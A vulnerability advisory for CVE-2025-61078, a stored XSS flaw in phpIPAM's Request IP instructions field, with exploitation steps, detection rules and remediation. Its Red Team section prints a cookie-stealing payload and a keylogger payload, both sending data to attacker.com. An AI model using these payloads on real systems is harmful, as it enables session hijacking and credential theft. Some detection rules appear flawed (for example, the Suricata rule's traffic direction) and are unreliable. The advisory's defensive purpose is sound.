CVE-2025-61078

Executive Summary

CVE-2025-61078 is a stored Cross-Site Scripting (XSS) vulnerability identified in phpIPAM v1.7.3, specifically within the Request IP form. The flaw resides in the /app/admin/instructions/edit-result.php endpoint, where the instructions parameter is not properly sanitized before being rendered. An authenticated attacker with administrative privileges can inject arbitrary web scripts or HTML, which will be executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity and a requirement for user interaction. No official patch has been released at this time.

Supply Chain & Package Security

phpIPAM is an open-source IP address management application written in PHP. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's source code. Users should monitor the official phpIPAM repository for a security patch and consider applying virtual patching via a Web Application Firewall (WAF) in the interim.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs a valid account with administrative privileges.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure is possible.
• Integrity (I): Low (L) – Limited data modification is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and data theft makes it a significant concern for multi-user deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The instructions parameter in the edit-result.php endpoint is used to store user-provided text that is later displayed on the Request IP form. The application fails to sanitize or encode this input before rendering it in the HTML response.

Attack Flow:

1. An attacker with admin privileges navigates to /app/admin/instructions/edit-result.php.
2. The attacker submits a payload in the instructions parameter, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When any user (including non-admin users) visits the Request IP form, the stored payload is executed in their browser.

Root Cause: The application uses echo or similar output functions without applying htmlspecialchars() or equivalent encoding to the instructions variable.

Vulnerable vs. Patched Code

Vulnerable Code (phpIPAM v1.7.3):

// /app/admin/instructions/edit-result.php (simplified)
$instructions = $_POST['instructions'];
// ... database insert without sanitization ...
echo $instructions; // or similar output in the view

Patched Code (Hypothetical Fix):

// /app/admin/instructions/edit-result.php (patched)
$instructions = htmlspecialchars($_POST['instructions'], ENT_QUOTES, 'UTF-8');
// ... database insert with sanitized value ...
echo $instructions; // output is now safe

The fix involves applying htmlspecialchars() to the input before storage and output, ensuring that any HTML or JavaScript is encoded and not executed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of phpIPAM v1.7.3.
• Valid admin credentials.

Exploitation Steps:

1. Log in to phpIPAM as an admin.
2. Navigate to /app/admin/instructions/edit-result.php.
3. Inject a malicious payload into the instructions parameter. Example payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Craft a phishing link or social engineer a victim to visit the Request IP form (e.g., /app/admin/requests/).
6. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /app/admin/instructions/edit-result.php for suspicious payloads (e.g., <script>, onerror=, javascript:).
• Review server logs for unusual outbound connections from the phpIPAM server.
• Use a WAF to block common XSS patterns.

Lab Setup:

1. Deploy phpIPAM v1.7.3 in a controlled environment (e.g., Docker).
2. Create an admin user.
3. Use a tool like Burp Suite to intercept and modify the instructions parameter.
4. Verify the XSS by observing the alert or cookie exfiltration.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie= or key= parameters.
  • Unusual POST requests to /app/admin/instructions/edit-result.php with HTML/JavaScript in the body.
• Host:
  • Presence of <script> tags in the instructions column of the database (table: instructions).
  • Modified instructions field in the application's database.
• Logs:
  • Web server logs showing requests to /app/admin/instructions/edit-result.php with instructions=<script>.
  • Application logs indicating failed validation attempts (if any).

Detection Engineering

YARA Rule

rule phpipam_xss_instructions {
    meta:
        description = "Detects XSS payload in phpIPAM instructions parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61078"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: phpIPAM Stored XSS via Instructions Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-61078 by injecting XSS payloads into the instructions parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/app/admin/instructions/edit-result.php'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in instructions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61078 phpIPAM Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/app/admin/instructions/edit-result.php"; http_uri; content:"instructions="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the instructions feature if not required, by removing or restricting access to /app/admin/instructions/edit-result.php.
2. Apply virtual patching using a WAF to block requests containing <script>, onerror=, or javascript: in the instructions parameter.
3. Restrict admin access to trusted IP addresses only.

Long-Term Fix:

• Upgrade to a patched version of phpIPAM once released.
• Implement input sanitization using htmlspecialchars() or a dedicated library like HTML Purifier.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Manually edit the source code to add htmlspecialchars() around the instructions output in the relevant template files.

Valters IT